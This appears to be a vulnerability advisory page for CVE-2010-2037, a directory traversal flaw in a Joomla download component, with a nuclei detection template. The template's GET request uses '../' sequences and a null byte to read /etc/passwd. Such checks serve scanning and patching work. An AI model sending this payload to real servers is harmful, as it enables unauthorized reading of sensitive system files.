Joomla! Component Percha Downloads Attach 1.1 - Directory Traversal

highseverity

7.5CVSS score

11.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Percha Downloads Attach (com_perchadownloadsattach) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

This vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2037 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2037

info:
  name: Joomla! Component Percha Downloads Attach 1.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Downloads Attach (com_perchadownloadsattach) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34005
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2037
    - http://packetstormsecurity.org/1005-exploits/joomlaperchada-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2037
    cwe-id: CWE-22
    epss-score: 0.11077
    epss-percentile: 0.95955
    cpe: cpe:2.3:a:percha:com_perchadownloadsattach:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchadownloadsattach
  tags: cve2010,cve,joomla,edb,packetstorm,lfi,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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